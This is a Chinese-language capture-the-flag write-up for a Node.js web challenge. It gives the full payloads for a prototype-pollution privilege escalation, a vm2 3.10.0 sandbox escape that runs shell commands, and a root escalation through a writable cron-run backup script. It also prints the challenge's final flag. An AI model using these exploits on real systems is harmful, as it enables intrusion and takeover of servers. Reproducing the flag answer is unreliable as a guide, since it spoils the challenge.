Nodejs 题目 Writeup

题目信息

- 题型：Web
- 附件：`app.js`、`package.json`
- 目标：获取 `dart{...}` 中的 flag

附件分析

先看附件中的核心依赖：

```
{
  "dependencies": {
    "express": "^4.18.2",
    "express-session": "^1.17.3",
    "vm2": "3.10.0"
  }
}
```

`app.js` 里有几个很关键的点：

1. `/register` 和 `/login` 是普通注册登录。
2. `/changepassword` 在校验旧密码和新密码一致后，会执行 `merge(user, req.body)`。
3. `/admin` 和 `/sandbox` 都依赖 `user.isAdmin === true`。
4. `/sandbox` 使用的是 `vm2@3.10.0`，这是一个危险信号。

漏洞 1：原型污染导致管理员提权

题目自定义了一个 `merge`：

```
function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') continue;
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
```

作者只过滤了 `__proto__`，但没有过滤 `constructor` 和 `prototype`。

于是可以在修改密码时传入：

```
{
  "oldPassword": "原密码",
  "newPassword": "原密码",
  "confirmPassword": "原密码",
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}
```

原因是：

- `user` 是一个普通对象。
- `user.constructor` 默认会指向 `Object`。
- `user.constructor.prototype` 就是 `Object.prototype`。
- `merge(user, req.body)` 递归合并时，会把 `isAdmin = true` 合并到 `Object.prototype` 上。

这样一来，所有普通对象在访问 `isAdmin` 时，都会从原型链上拿到 `true`。

题目后面检查管理员权限的代码是：

```
if (user.isAdmin === true) {
    // admin
}
```

由于 `user.isAdmin` 会从 `Object.prototype.isAdmin` 继承，所以普通用户也能通过管理员校验。

漏洞 2：`vm2@3.10.0` 沙箱逃逸

拿到管理员权限后，就可以访问：

```
POST /sandbox
```

题目代码：

```
const vm = new VM({
    timeout: 5000,
    sandbox: { __result: sandboxResult }
});

const result = vm.run(code);
```

这里使用的是 `vm2@3.10.0`，存在公开可利用的逃逸问题，可以从沙箱里拿到宿主环境的 `process`，再进一步调用：

```
process.mainModule.require('child_process').execSync(...)
```

我使用的逃逸思路如下：

```
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const p = f();
p.catch(e => {
  const ErrorCtor = e.constructor;
  const FunctionCtor = ErrorCtor.constructor;
  const process = FunctionCtor('return process')();
  __result.value = process.mainModule
    .require('child_process')
    .execSync('whoami; pwd; ls -la /')
    .toString();
});
```

这样就能在服务器上执行系统命令。

信息收集

通过命令执行，可以看到容器根目录中存在：

```
/flag
```

但是权限是：

```
-r-------- 1 root root 43 /flag
```

也就是只有 `root` 能读，而当前 Node 进程是以 `ctf` 用户运行的，直接 `cat /flag` 会失败。

继续看系统脚本，发现了两个关键文件：

`/start.sh`

```
#!/bin/sh

echo dart{$FLAG} > /flag
chmod 400 /flag
unset FLAG

echo "Starting Node.js application"
su ctf -c "node /app/app.js" &

echo "Starting backup scheduler..."
while true; do
    echo "Running backup at $(date)"
    /backup.sh
    sleep 30
done

wait
```

`/backup.sh`

```
#!/bin/sh

BACKUP_DIR="/tmp/backups"
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
BACKUP_FILE="$BACKUP_DIR/app_backup_$TIMESTAMP.tar.gz"

mkdir -p "$BACKUP_DIR"
tar -czf "$BACKUP_FILE" -C /app .
chmod 644 "$BACKUP_FILE"
cd "$BACKUP_DIR" && ls -t app_backup_*.tar.gz | tail -n +6 | xargs rm -f
2>/dev/null || true
```

题目的本地提权点就在这里：

- `/start.sh` 以 `root` 身份运行。
- 它每隔 30 秒执行一次 `/backup.sh`。
- `/backup.sh` 对当前用户可写。

所以思路就很清楚了：把读 flag 的命令追加进 `/backup.sh`，等待 root 定时执行。

本地提权拿 flag

利用 `sandbox` 中的命令执行，向 `/backup.sh` 追加：

```
cp /flag /app/public/flag.txt
chmod 644 /app/public/flag.txt
```

由于 `/static` 映射的是：

```
app.use('/static', express.static(path.join(__dirname, 'public')));
```

所以一旦 root 定时任务执行了被修改后的 `/backup.sh`，就会把 `/flag` 复制到可直接访问的静态目录：

```
/app/public/flag.txt
```

等待下一次定时执行后，直接访问：

```
/static/flag.txt
```

即可拿到 flag。

利用流程总结

1. 注册并登录普通用户

正常注册登录，获取 session。

2. 利用 `/changepassword` 做原型污染

发送如下数据：

```
{
  "oldPassword": "密码",
  "newPassword": "密码",
  "confirmPassword": "密码",
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}
```

污染 `Object.prototype.isAdmin = true`，从而获得管理员权限。

3. 访问 `/sandbox`

利用 `vm2@3.10.0` 逃逸到宿主机，获得命令执行能力。

4. 读取系统环境并发现提权点

发现：

- `/flag` 只有 root 可读
- `/start.sh` 会循环执行 `/backup.sh`
- `/backup.sh` 可被当前用户修改

5. 修改 `/backup.sh`

追加以下命令：

```
cp /flag /app/public/flag.txt
chmod 644 /app/public/flag.txt
```

6. 等待 root 定时任务执行

大约 30 秒后，访问：

```
/static/flag.txt
```

得到最终 flag：dart{f4b12144-d383-478f-92c6-d98a36d95b91}